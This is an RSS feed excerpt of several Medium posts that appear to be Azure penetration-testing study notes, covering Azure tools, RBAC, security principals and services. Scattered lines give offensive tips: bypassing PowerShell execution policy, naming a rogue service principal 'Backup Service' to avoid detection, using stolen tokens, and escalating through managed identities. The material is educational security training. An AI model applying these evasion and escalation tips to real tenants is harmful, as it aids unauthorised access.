user-friendly interface for managing Azure resources and services. It allows you to create, configure, monitor, and troubleshoot your Azure environment</li><li>To create a new resource, navigate to the desired service category or use the search bar to find the specific service you want to create. Follow the prompts and provide the necessary information to configure the resource</li><li>Once a resource is created, you can customize its settings, such as network configurations, access control, and performance settings, depending on the specific service</li><li>Azure Portal offers a comprehensive overview of your resources, including their status, health, and usage metrics. You can monitor and analyse resource performance, set up alerts and notifications, and access logs and diagnostics</li><li>Azure Portal allows you to manage access control and security settings. You can assign RBAC roles, create and manage Azure AD users and groups, configure network security groups, and enable additional security features like Azure Security Center</li><li>The portal also provides features for scaling resources, such as increasing the capacity of virtual machines or configuring autoscaling rules for applications</li><li>Azure Portal integrates with other Azure services, such as Azure Monitor and Azure Advisor, to provide recommendations for optimizing your resource usage, improving performance, and enhancing security</li><li>You can access various documentation, tutorials, and support resources from within Azure Portal to assist you in understanding and using Azure services effectively</li><li>Azure Portal offers a responsive and customizable interface, allowing you to arrange and personalize the dashboard, pin frequently used resources, and create custom dashboards to suit</li></ul><h3>Cloud Shell</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UAUNJ4wUiAiN3JZhs-6txw.png" /></figure><ul><li>Azure Portal provides an integrated Azure Cloud Shell, accessible through a PowerShell prompt icon &gt;_ located to the right of the search bar</li><li>The Azure Cloud Shell can also be accessed directly via <a href="https://shell.azure.com/">https://shell.azure.com</a></li><li>When accessing Cloud Shell for the first time, you may need to select a storage account to use for Cloud Shell storage</li><li>The Cloud Shell provides a command-line interface within the portal and offers a choice between Bash and PowerShell environments</li><li>Both environments have the Az CLI (Azure Command-Line Interface) pre-installed, allowing you to manage Azure resources and perform various operations</li><li>The Cloud Shell prompt is displayed as follows: &lt;username&gt;@Azure:~$</li><li>The Azure Cloud Shell is a convenient tool as it comes preloaded with all the necessary tools and utilities for managing an Azure environment</li><li>However, it’s important to be aware that the Azure Cloud Shell also poses certain risks and can be utilized for privilege escalation attacks</li></ul><h3>Azure CLI</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*YzDuVaeZUWaI-PmQpMHPlw.png" /></figure><ul><li>Azure CLI (Command-Line Interface) is a popular option for managing Azure environments.</li><li>The installation process for Azure CLI on Windows systems is straightforward.</li><li>If you wish to install it on another system, you can download the Microsoft installer for the latest version from the following link: <a href="https://aka.ms/installazurecliwindows">https://aka.ms/installazurecliwindows</a>.</li><li>To obtain more information about Azure CLI and explore installation options for other operating systems, refer to Microsoft’s Azure CLI documentation page: <a href="https://docs.microsoft.com/en-us/cli/azure/install-azure-cli">https://docs.microsoft.com/en-us/cli/azure/install-azure-cli</a>.</li><li>Once Azure CLI is installed, open a PowerShell session (powershell.exe).</li><li>In the PowerShell session, run the command az login.</li><li>This command will prompt you to sign in to your Azure account using your credentials.</li><li>After successfully logging in, the Azure CLI will authenticate your session and provide access to Azure resources for management and configuration.</li><li>The Azure CLI offers a powerful and efficient command-line interface to interact with Azure services and resources.</li><li>Refer to the Azure CLI documentation for detailed information on available commands, syntax, and usage guidelines to effectively manage your Azure environment.</li><li>The az command is the entry point for executing Azure CLI commands. Running az without any additional arguments will display a list of available options and commands.</li><li>Azure CLI commands are typically structured with the service name (e.g., acr, appservice, vm) followed by the desired action or operation.</li><li>To list resources in your default subscription, you can use the command az resource list.</li><li>If you’re unsure about the available options or parameters for a specific command, you can use the --help flag to get a list of available options and their descriptions.</li><li>Azure CLI provides a wide range of commands and options to manage various Azure services, resources, and configurations.</li><li>While Azure CLI is a powerful tool for managing Azure, the examples in this book will primarily focus on using Azure PowerShell modules and related tools.</li><li>It’s important to note that Azure PowerShell provides a more comprehensive and feature-rich experience for managing Azure resources using the PowerShell scripting language.</li><li>Before delving into specific Azure PowerShell modules and their functionalities, it’s essential to have a basic understanding of PowerShell as a programming language.</li><li>PowerShell is a scripting language developed by Microsoft, specifically designed for system administration and automation tasks in Windows environments.</li><li>PowerShell provides extensive capabilities for interacting with Azure resources, managing configurations, performing administrative tasks, and orchestrating complex operations.</li><li>Familiarize yourself with the PowerShell syntax, concepts, and cmdlets (PowerShell commands) to effectively utilize the Azure PowerShell modules and maximize your efficiency in managing Azure resources.</li></ul><h3>Powershell</h3><ul><li>PowerShell is a versatile tool for parsing and manipulating data, making it convenient for handling large numbers of resources in Azure subscriptions</li><li>PowerShell can be used as a command shell, similar to cmd.exe, or as a scripting language with deep integration with .NET runtimes and Windows APIs</li><li>PowerShell sessions refer to instances of running PowerShell or the PowerShell Integrated Scripting Environment (ISE)</li><li>PowerShell modules are collections of functions that can be imported into a PowerShell session, providing additional capabilities and cmdlets</li><li>PowerShell modules can be imported from files, installed from external sources like the PowerShell Gallery (PSGallery — <a href="https://www.powershellgallery.com/">https://www.powershellgallery.com/</a>), or configured for permanent import in new sessions</li><li>PowerShell functions, also known as cmdlets, are commands that can be executed within a PowerShell session</li><li>Functions can have parameters, and tab-completion can be used to view available parameters by typing a dash and pressing Tab (or Ctrl + space)</li><li>PowerShell supports pipeline-able objects, allowing the output from one function to serve as input for subsequent functions in a pipeline</li><li>The PowerShell pipeline is a powerful feature that will be extensively used in the book’s examples</li><li>Throughout the book, various PowerShell-based tools will be employed, and while efforts will be made to simplify the commands, it is recommended to acquire a basic understanding of using PowerShell</li><li>Familiarize yourself with PowerShell’s syntax, functions, parameters, and the concept of pipelining to effectively utilize the PowerShell-based tools and maximize efficiency in managing Azure resources</li><li>Before working with PowerShell scripts, ensure that PowerShell script execution is enabled on your system. There might be execution policy restrictions in place, but they can be bypassed easily. Refer to the blog post by the book’s technical reviewer, Scott Sutherland, for 15 ways to bypass PowerShell execution policy restrictions (<a href="https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/">https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/</a>)</li><li>When installing PowerShell modules, the PowerShell Gallery (PSGallery — <a href="https://www.powershellgallery.com/">https://www.powershellgallery.com/</a>) is the recommended resource for package management. It is a trusted, Microsoft-managed repository that simplifies module installation. The required Microsoft packages for the toolkits used in this book will be listed in the gallery</li></ul><h4>The AZ module</h4><ul><li>The Az PowerShell Cmdlets are functions that allow administration of Azure services.</li><li>To install the Az module, open an elevated (Run as Administrator) PowerShell session and run the command: Install-Module -Name Az.</li><li>After installation, authenticate to your Azure tenant by running the command: Connect-AzAccount.</li><li>Commands in Az module follow Microsoft’s approved verbs for PowerShell functions, which can be found at: <a href="https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/approved-verbs-for-windows-powershell-commands">https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/approved-verbs-for-windows-powershell-commands</a>.</li><li>To import the Az module into your PowerShell session, use the command: Import-Module Az.</li><li>Use the command Get-Az to explore available options. Pressing Ctrl + space will display available commands.</li><li>To view the parameters of a PowerShell function, type the function name followed by a dash and press Tab or Ctrl + space.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*vmhGuyF-Cqt3GANQpVkYKw.png" /></figure><ul><li>To see the sub-modules within the Az module, use the command: Get-Module -Name az*.</li><li>To list all the commands available in a module, use the command: Get-Command -Name az*.</li></ul><h3>Modules — Az versus AzureRM</h3><ul><li>When searching for Azure PowerShell functions, you may come across functions with the prefix “Azure Resource Manager” (AzureRM) instead of “Az.”</li><li>The AzureRM functions belong to the deprecated AzureRM module, which was one of the original PowerShell modules for Azure administration.</li><li>In most cases, you can substitute “Az” for “AzureRM” to get the equivalent command in the Az module. For example, “Get-AzureRmVM” becomes “Get-AzVM.”</li></ul><h3>The AzureAD module</h3><ul><li>The AzureAD module is used for managing Azure AD tenants and provides functions specific to Azure AD administration.</li><li>From a penetration testing perspective, the AzureAD module is useful for enumerating information about an Azure AD tenant and has privileged commands for adding or modifying users.</li><li>To install the AzureAD module, open an elevated PowerShell session and run the following command:</li></ul><pre>PS C:\&gt; Install-Module -Name AzureAD</pre><ul><li>After installation, authenticate to your Azure tenant by running the following code:</li></ul><pre>PS C:\&gt; Connect-AzureAD</pre><ul><li>Similar to the Az module, the authentication process will prompt you to log in, and you can use PowerShell commands to navigate and utilize the available functions within the AzureAD module.</li></ul><h3>Azure REST APIs</h3><ul><li>Another method for accessing Azure is through the use of REST APIs.</li><li>APIs provide a way to interact with Azure and can be used to leverage stolen access tokens in attack scenarios.</li><li>REST clients like Postman or cURL can be utilized to interact with the APIs by providing a valid authorization token.</li><li>The Azure REST APIs are powerful and can perform many of the same actions as the CLI or PowerShell modules.</li><li>For those interested in experimenting with the basics of REST APIs, Microsoft provides tutorials on the Azure REST API reference page at <a href="https://docs.microsoft.com/en-us/rest/api/azure/">https://docs.microsoft.com/en-us/rest/api/azure/</a>.</li></ul><h3>Azure Resource Manager</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*xnXdmxRo8ZTytCGKp5XyjA.png" /></figure><ul><li>Regardless of the tool or method used to interact with Azure, communication occurs through the Azure Resource Manager (ARM) endpoint.</li><li>ARM serves as a centralized layer for resource management in Azure, ensuring consistency across different tools.</li><li>Authentication and access are handled uniformly through ARM.</li><li>When a request is made for an operation, ARM communicates with specific “resource providers” responsible for the requested action.</li><li>Resource providers are services that offer various types of resources, such as network resources (virtual networks, network interfaces) or compute resources (VMs).</li><li>The network resource provider handles network-related resources, while the compute resource provider manages compute-related resources.</li><li>This architecture ensures that different resource types are managed by their respective resource providers, allowing for efficient resource management in Azure.</li></ul><p><a href="https://medium.com/@ajithcrajendran/anonymous-service-identification-in-azure-7f94789dff5e">Next Section</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b01d26765922" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding the Azure RBAC structure]]></title>
            <link>https://medium.com/@ajithcrajendran/understanding-the-azure-rbac-structure-7666529209ff?source=rss-5f40ede18a25------2</link>
            <guid isPermaLink="false">https://medium.com/p/7666529209ff</guid>
            <category><![CDATA[azure-active-directory]]></category>
            <category><![CDATA[rbac]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Ajith Rajendran]]></dc:creator>
            <pubDate>Fri, 16 Jun 2023 12:38:42 GMT</pubDate>
            <atom:updated>2023-06-20T12:27:59.536Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://medium.com/@ajithcrajendran/an-overview-of-azure-services-dedc1ff81b0c">Previous Section</a></p><ul><li>RBAC (Role-Based Access Control) is an authorization system for controlling access to Azure resources</li><li>It determines who has access and what actions they can perform on resources</li><li>Security principals (users, groups, applications) are granted access to Azure resources by assigning roles to them</li><li>Example: Granting a user access to manage all VMs in a subscription, while another user manages storage accounts in the same subscription</li><li>RBAC concepts become more complex with different scopes of role assignments (management groups, subscriptions, etc.)</li><li>Azure RBAC consists of three components: security principals, role definitions, and role assignments</li><li><strong>Security principals</strong>: Users, groups, and applications that can be granted access</li><li><strong>Role definitions</strong>: Defines the permissions and actions associated with a role</li><li><strong>Role assignments</strong>: Assigning roles to security principals for access control</li></ul><h3>Security principals</h3><ul><li>Security principal refers to an Azure AD object to which privileges are assigned</li><li>Types of security principals include:<br> — <strong>User account</strong>: Represents an individual user in Azure AD<br> — <strong>Group</strong>: Collection of user accounts or other groups for easier management and permission assignment<br> — <strong>Service principal</strong>: Represents an application or service that needs to access Azure resources<br> — <strong>Managed identity</strong>: Provides an identity for a specific Azure resource to authenticate and access other resources</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*f6bTbFtm3aD-CreU4Se-wA.png" /></figure><blockquote>Do not confuse “security principal” with “service principal”. Security principal is an overall term used to describe objects in Azure AD (including users, groups, and service principals). Service principal is a specific type of security principal</blockquote><ul><li>Each security principal has a unique object ID in Azure AD for identification</li><li>The object ID is commonly used when assigning roles to the security principal</li><li>Multiple facets exist within a security principal, but the object ID is a key identifier</li><li>The next topic will cover the different types of security principals</li></ul><h4>User accounts</h4><ul><li>User account is a standard user identity in Azure AD</li><li>Can be internal or external “guest” accounts</li><li>General administration of users occurs at the Azure AD tenant level</li><li>Internal user accounts are created in Azure AD by an administrator or synchronized from on-premises AD</li><li>User Principal Name (UPN) is commonly used to address internal user accounts</li><li>UPN typically follows the format of an email address</li><li>Example: User named “karl” in the Azure AD tenant with the domain name azurepentesting.com will have a UPN of karl@azurepentesting.com</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*8uWILx1s4jHine_jB38z8g.png" /></figure><ul><li>External user accounts are user identities from other Azure AD tenants or Microsoft accounts (outlook.com, hotmail.com, etc.)</li><li>These accounts are invited as guest users to an Azure AD tenant</li><li>Guest users have limited access and privileges within the Azure AD tenant</li><li>They are typically invited to collaborate on specific resources or applications</li><li>External user accounts provide a way to securely collaborate and share resources across different Azure AD tenants or with Microsoft account users</li><li>The UPN format for external user accounts is like &lt;alias&gt;_&lt;HomeTenant&gt;#EXT#@domain.suffix</li><li>For example, if a user named Greg, is invited as a guest user of the sharepointmaven.onmicrosoft.com Azure AD tenant, the UPN will be gregzelfond6_gmail.com#EXT#@sharepointmaven.onmicrosoft.com</li><li>The #EXT# in the UPN indicates that the user is an external user</li><li>This UPN format helps differentiate between internal and external user accounts and allows for proper identification and authentication within the Azure AD tenant</li><li>External accounts are often used to provide access to vendors or third-party users working on a subscription</li><li>These user accounts are not directly managed by the Azure AD tenant</li><li>Account policies such as password length, <strong>multi-factor authentication</strong> (<strong>MFA</strong>), and other security measures are not controlled by the Azure AD tenant for external accounts.</li><li>The Azure AD tenant relies on the security measures and policies set by the external user’s identity provider or organization</li><li>The Azure AD tenant grants access to external accounts based on the configured permissions and role assignments, but the actual management of those accounts and their associated policies is handled externally</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*SLxbnZRUPt0mrIUuaTuHNw.png" /></figure><h4>Service principal</h4><ul><li>A service principal is an application identity in Azure AD used to represent an application that requires access to Azure resources</li><li>It is the preferred method for granting access to applications instead of creating dummy user accounts</li><li>Service principals are registered in Azure AD and can be granted permissions within the tenant</li><li>They are particularly important in automation account attacks, as applications running maintenance scripts or performing automated tasks often require specific rights</li><li>Service principals can be assigned certificates and secrets for authentication purposes</li><li>These credentials are valuable for privilege escalation and persistence within the Azure AD tenant</li><li>Creating a service principal is known as app registration</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*9Ds4nPj3DZgI30ZdHfiNZg.png" /></figure><ul><li>As an attacker, creating a new service principal with a generic display name (e.g., “Backup Service”) can increase the chances of remaining undetected in the tenant</li><li>Service principals can have owners assigned within Azure AD, and these owners have control over the associated credentials</li><li>Owners of service principals can be targeted for escalation in environments where service principals have elevated privileges</li></ul><h4>Managed identity</h4><ul><li>Azure services such as VMs, AKS, and applications may require access to other Azure resources</li><li>Managed identities are a convenient way to grant this access</li><li>A managed identity is a service principal that is automatically created and managed</li><li>There are two types of managed identities: <strong>system-assigned</strong> and <strong>user-assigned</strong></li><li>A system-assigned identity is directly tied to the resource it is created for</li><li>A user-assigned identity is created at the subscription level and can be applied to multiple resources</li><li>User-assigned identities are shareable among services, while system-assigned identities are not</li><li>Managed identities can be used for privilege escalation within a tenant</li><li>It’s important to note that individuals with modification rights on a resource with an assigned managed identity can potentially assume the rights of that managed identity</li><li>Some services allow the generation of tokens for managed identities, which will be explored in more detail later</li></ul><blockquote>If you’re interested in learning more about all of the services that support managed identities in Azure, Microsoft has them documented here: <a href="https://docs.microsoft.com/en-us/azure/active%02directory/managed-identities-azure-resources/services-support-managed-identities">https://docs.microsoft.com/en-us/azure/activedirectory/managed-identities-azure-resources/services-support-managed-identities</a></blockquote><h4>Groups</h4><ul><li>Groups in Azure AD are used to organize users and simplify access management to Azure resources</li><li>Assigning permissions to a group is more efficient than assigning them individually to users</li><li>Access to Azure resources granted to a group can be easily managed through group memberships</li><li>Groups can be created by administrators in Azure AD or synchronized from an on-premises AD environment</li><li>Users can also create their own groups or join existing public groups, typically associated with Microsoft 365 services</li><li>Groups can have owners (user accounts or service principals) who manage the group and its membership</li><li>Azure AD supports two main types of groups: security groups and Microsoft 365 groups</li><li>Security groups are primarily used to manage access to shared resources</li><li>Microsoft 365 groups function similarly to email distribution groups and can also be used to assign access to Azure resources</li><li>Group membership can be assigned or dynamic</li><li>Assigned memberships are manually assigned by administrators or group owners</li><li>Dynamic group memberships are determined automatically based on rules and user/device attributes</li><li>Dynamic group membership rules can allow for soft matching, which could be exploited for privilege escalation</li><li>When syncing with on-premises AD domains, the number of imported groups can increase significantly</li><li>While assessing the Azure environment, the large number of groups may not pose issues, but it can complicate pivoting to on-premises environments</li></ul><h3>Role definition</h3><ul><li>The second component of Azure RBAC is a role definition, which represents a collection of permissions</li><li>Permissions describe actions that can be performed on a resource, such as read, write, or delete</li><li>Role definitions have two types of operations:<br> — <strong>Control-plane operations</strong>: Management actions that the role can perform, defined in the actions section<br> — <strong>Data-plane operations</strong>: Data actions that the role can perform within a resource, can perform, defined in the actions section</li><li>Role definitions can also exclude certain operations:<br> — The notActions section defines management actions that the role is restricted from performing<br> — The notDataActions section defines data actions that the role is restricted from performing</li></ul><pre>{<br> &quot;assignableScopes&quot;: [<br>  &quot;/&quot;<br> ],<br> &quot;description&quot;: &quot;Grants full access to manage all resources, but does not allow you to assign roles in Azure RBAC, manage assignments in Azure Blueprints, or share image galleries.&quot;,<br> &quot;id&quot;: &quot;/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c&quot;,<br> &quot;name&quot;: &quot;b24988ac-6180-42a0-ab88-20f7382dd24c&quot;,<br> &quot;permissions&quot;: [<br>  {<br>   &quot;actions&quot;: [<br>    &quot;*&quot;<br>   ],<br>   &quot;notActions&quot;: [<br>    &quot;Microsoft.Authorization/*/Delete&quot;,<br>    &quot;Microsoft.Authorization/*/Write&quot;,<br>    &quot;Microsoft.Authorization/elevateAccess/Action&quot;,<br>    &quot;Microsoft.Blueprint/blueprintAssignments/write&quot;,<br>    &quot;Microsoft.Blueprint/blueprintAssignments/delete&quot;,<br>    &quot;Microsoft.Compute/galleries/share/action&quot;<br>   ],<br>   &quot;dataActions&quot;: [],<br>   &quot;notDataActions&quot;: []<br>  }<br> ]<br> &quot;roleName&quot;: &quot;Contributor&quot;,<br> &quot;roleType&quot;: &quot;BuiltInRole&quot;,<br> &quot;type&quot;: &quot;Microsoft.Authorization/roleDefinitions&quot;<br>}</pre><ul><li>The example of the Contributor role shows that it has permission for all management (*) actions but is restricted from performing authorization-related management actions</li><li>The Contributor role does not have permissions for any data actions</li><li>Role definitions may also include the assignableScopes section, which indicates where the role can be applied in the tenant</li><li>The / in assignableScopes denotes that the role can be applied at the root of the management group structure and to any child scopes (management groups, subscriptions, etc.) under the root</li></ul><h4>Default RBAC roles</h4><ul><li>he three primary roles commonly applied in Azure are Reader, Contributor, and Owner</li><li>Service-specific roles exist as restricted versions of the base roles, useful for reducing permissions in a specific subscription</li><li>Restricted roles can still allow for privilege escalation in the environment</li><li>Example: The Virtual Machine Contributor role at the subscription level restricts a user from being a contributor for all services but allows them to run commands on any VM in the subscription</li><li>If a VM has a privileged managed identity, a user with VM Contributor role can run commands on the VM to assume the rights of the managed identity and escalate privileges</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*A0GXTvAh0x0Jz1LMJGFvfQ.png" /></figure><ul><li>Azure resources and Azure AD tenant have separate permission systems</li><li>Azure AD roles manage access to Azure AD resources and operations (e.g., user accounts, password resets)</li><li>Azure RBAC roles manage access to Azure resources (e.g., storage accounts, SQL databases)</li><li>Both Azure AD and Azure resources have built-in roles with predefined permissions</li><li>Custom roles can be created by administrators in both Azure AD and Azure resources</li></ul><blockquote>Microsoft has the best documentation on these roles and has a comprehensive list of the available Azure AD roles (<a href="https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference">https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference</a>) and Azure RBAC roles (<a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles">https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles</a>).</blockquote><h3>Role assignment</h3><ul><li>RBAC roles in Azure AD tenant can be applied at different levels in the resource organization hierarchy: root management group, child management group, subscription, resource group, and individual resource levels.</li><li>Role-based access assigned at the root management group level propagates throughout the organization and cannot be overridden at a lower level.</li><li>If an attacker gains access at the root management group level, they can move laterally across different subscriptions in the organization.</li><li>Understanding the RBAC structure helps in interacting with the Azure environment effectively.</li></ul><p><a href="https://medium.com/@ajithcrajendran/accessing-the-azure-cloud-b01d26765922">Next Section</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7666529209ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An overview of Azure Services]]></title>
            <link>https://medium.com/@ajithcrajendran/an-overview-of-azure-services-dedc1ff81b0c?source=rss-5f40ede18a25------2</link>
            <guid isPermaLink="false">https://medium.com/p/dedc1ff81b0c</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cloud-services]]></category>
            <category><![CDATA[azure-active-directory]]></category>
            <category><![CDATA[azure]]></category>
            <dc:creator><![CDATA[Ajith Rajendran]]></dc:creator>
            <pubDate>Fri, 16 Jun 2023 09:30:11 GMT</pubDate>
            <atom:updated>2023-06-16T12:40:28.365Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://medium.com/@ajithcrajendran/azure-platform-and-architecture-overview-531aa24d01df">Previous Section</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*lSjveJp22WPwDCSPnfnIHA.png" /></figure><ul><li>Over 200 services available in Azure, but they can be grouped into five categories:<br> 1. Services for hosting applications (e.g., Azure App Service, Azure VM, AKS)<br> 2. Services for storing data for applications (e.g., Storage accounts, Azure SQL, Cosmos DB)<br> 3. Services for creating applications (e.g., Logic Apps, Functions apps)<br> 4. Services for enhancing applications (e.g., Azure Cognitive Services)<br> 5. Services for monitoring or managing applications (e.g., Azure Automation, API Management, Application Insights, Azure Monitor)</li><li>Security-focused services like Azure Sentinel and Azure Security Center also fall into this category</li><li>These services provide additional insights from a penetration-testing perspective</li><li>Core resources to understand are outlined in the categories above</li></ul><h4>App Service</h4><p>This Service is inclusive of App Service and Function apps in Azure. These services can be used for “serverless” web application and API hosting.</p><h4>Storage Accounts</h4><p>Storage accounts are used for the most data storage operations in Azure. Files can be publicly or privately hosted, and files can be accessed through several protocols (<strong>HyperText Transfer Protocol</strong> (<strong>HTTP</strong>), <strong>Server Message Block</strong> (<strong>SMB</strong>), <strong>Network File System</strong> (<strong>NFS</strong>)). This service can also be used for static web content hosting.</p><h4>Automation Accounts</h4><p>Another “serverless” code service, Automation accounts allow you to run scripting code (Powershell and Python) from “runbooks” to automate processes in the subscription. There is a lot of surface area in this service.</p><h4>Virtual Machines</h4><p>One of the initial backbones of cloud services, these are VMs hosted in the cloud. There are multiple facets to deploying VMs in the cloud, so this services will also be a major focal point.</p><h4>Key Vaults</h4><p>Azure key vaults are the primary credential store within Azure. This includes the storage of keys, secret, and certificates. Aside from utilizing the standard <strong>Identity and Access Management</strong> (<strong>IAM</strong>) rights assignments, access policies can be applied to provide additional restrictions or Key Vault data.</p><h4>Azure SQL</h4><p>This service is for hosting SQL databases in the cloud. Everything about the SQL database is managed by Microsoft, which can help simplify the usage of databases in Azure projects</p><h4>Azure Container Registry / Container Instances</h4><p>As Many environments start migrating to containerization, the usage of cloud container registries and cloud container instances is becoming more popular. Azure Container registry holds the container images used as base images for containerization.</p><p>While is a relatively small part of a containerized environment, this service is a commonly targeted one, as the images frequently house sensitive information.</p><blockquote>For anyone that is making the terminology transition from AWS to Azure, the following Microsoft document may be helpful for matching up any of the confusing service names: <a href="https://learn.microsoft.com/en-us/azure/architecture/aws-professional/services">AWS to Azure services comparison — Azure Architecture Center | Microsoft Learn</a></blockquote><blockquote>For those more familiar with GCP, Microsoft also has some helpful documentation at <a href="https://learn.microsoft.com/en-us/azure/architecture/gcp-professional/services">Google Cloud to Azure services comparison — Azure Architecture Center | Microsoft Learn</a></blockquote><p><a href="https://medium.com/@ajithcrajendran/understanding-the-azure-rbac-structure-7666529209ff">Next Section</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dedc1ff81b0c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Azure Platform and Architecture Overview]]></title>
            <link>https://medium.com/@ajithcrajendran/azure-platform-and-architecture-overview-531aa24d01df?source=rss-5f40ede18a25------2</link>
            <guid isPermaLink="false">https://medium.com/p/531aa24d01df</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cloud-penetration-testing]]></category>
            <category><![CDATA[azure-active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[azure]]></category>
            <dc:creator><![CDATA[Ajith Rajendran]]></dc:creator>
            <pubDate>Fri, 16 Jun 2023 08:49:13 GMT</pubDate>
            <atom:updated>2023-06-16T09:35:50.853Z</atom:updated>
            <content:encoded><![CDATA[<ul><li>Azure cloud: Microsoft’s public cloud computing platform</li><li>Offers multiple services for developing, hosting, and enhancing applications and services</li><li>Similar to other cloud platforms like AWS and GCP</li><li>Constantly expanding and evolving with new services and features</li><li>Many organizations are migrating their operations to Azure due to the availability of cloud services and flexibility of Microsoft 365 licensing.</li></ul><h3>Technical requirements</h3><ul><li>Focus on gaining a high-level understanding of Azure infrastructure</li><li>Azure portal access not required for understanding concepts, but handy for following along</li><li>Multiple methods for accessing Azure management interfaces will be reviewed at the end of the chapter</li><li>Tools helpful to have available if you have access to an existing Azure environment:<br> — Azure command-line interface (CLI)<br> — Az PowerShell module<br> — Azure Active Directory (Azure AD) PowerShell module</li></ul><h3>The basics of Microsoft’s Azure infrastructure</h3><ul><li>Azure platform consists of over 200 services and is constantly expanding</li><li>During a penetration test, focus on a subset of services in scope</li><li>Understand the structure of the Azure environment at the platform level (subscriptions, RBAC, resources)</li><li>Identify how available services can be abused to gain additional privileges</li><li>Lessons in this section are fundamental to understanding Azure as a platform</li><li>Pay close attention to gain a solid understanding</li><li>Skim this section if you have a solid Azure background to refresh on core principles</li><li>Gain understanding of Azure cloud platform and its regions</li><li>Learn about typical structure of Azure tenants</li><li>Understand how resources under the tenant are managed</li></ul><h4>Azure clouds and regions</h4><ul><li>Microsoft has built different Azure clouds for distinct markets with different laws and regulations</li><li>Azure clouds run on the same technologies and provide the same services</li><li>Different clouds run in separate data centre environments that are physically and logically isolated</li><li>API endpoints for each platform and their services vary depending on the cloud platform</li><li>Four Azure cloud platforms and their main endpoints:<br> 1. Azure Global: `<a href="https://management.azure.com`/">https://management.azure.com`</a><br> 2. Azure Government: `<a href="https://management.usgovcloudapi.net`/">https://management.usgovcloudapi.net`</a><br> 3. Azure China: `<a href="https://management.chinacloudapi.cn`/">https://management.chinacloudapi.cn`</a><br> 4. Azure Germany: `<a href="https://management.microsoftazure.de`/">https://management.microsoftazure.de`</a></li><li>Important to consider the appropriate API endpoints when interacting with specific cloud platforms</li><li>Each Azure cloud has different endpoints for accessing Azure services</li><li>Examples are applicable to other Azure clouds, but target endpoints may need to be modified</li></ul><h4>Azure resource management hierarchy</h4><ul><li>Understand resource structure in Azure before diving into penetration test tactics</li><li>Knowledge of resource structure helps follow an attack chain and navigate the environment</li><li>Azure organization structure levels:<br> 1. Azure AD Tenant<br> 2. Root Management Group<br> 3. Child Management Group<br> 4. Subscription<br> 5. Resource Group<br> 6. Individual Resources</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*5v0_gREQs6sIcC22eN9kBw.png" /></figure><h4>1. Azure AD Tenant</h4><ul><li>Azure AD Tenant is used to manage Azure subscriptions and resources</li><li>Azure AD serves as the identity store for authentication and authorization</li><li>Each Azure subscription has a trust relationship with one Azure AD tenant</li><li>Organizations commonly connect their on-premises AD to Azure AD using Azure AD Connect</li><li>Azure AD is a prime target for information gathering and identity-based attacks</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*f1QljtruGPy3Cc2jRjGWGQ.png" /></figure><h4>2. Root Management Group</h4><ul><li>Root Management Group is the top of the Azure resource organization hierarchy (if enabled)</li><li>By default, new organizations in Azure do not have the root management group enabled</li><li>Managing subscriptions individually creates a governance model that doesn’t scale well</li><li>Difficult for medium to large-sized organizations with multiple subscriptions</li><li>Root management group is often enabled in production Azure environments</li><li>Microsoft recommends enabling the root management group in their Cloud Adoption Framework document</li><li>Cloud Adoption Framework document provides best practices for adopting Azure cloud</li><li>Valuable source of information for building out an environment in Azure</li><li>Document link: <a href="https://docs.microsoft.com/en-us/azure/cloud-adoption-framework/decision-guides/subscriptions/">Cloud Adoption Framework</a></li></ul><h4>3. Child Management Group</h4><ul><li>Enabled root management group allows creation of child management groups</li><li>Child management groups simplify subscription management for organizations</li><li>Main purpose is to centrally manage access and governance</li><li>Child management groups can be nested</li><li>Supports up to six levels of depth</li></ul><h4>4. Subscription</h4><ul><li>Azure subscription is needed to provision resources in Azure</li><li>Azure subscription serves as the logical container for provisioning resources</li><li>When creating a resource, such as a SQL database, specify the subscription for provisioning</li><li>Resource usage is billed to the selected subscription</li><li>Organizations typically have multiple Azure subscriptions</li><li>Multiple subscriptions used to separate environments (e.g., development, production) or application environments</li></ul><h4>5. Resource Group</h4><ul><li>Subscriptions contain resource groups</li><li>Resource groups are logical containers for grouping and managing Azure resources 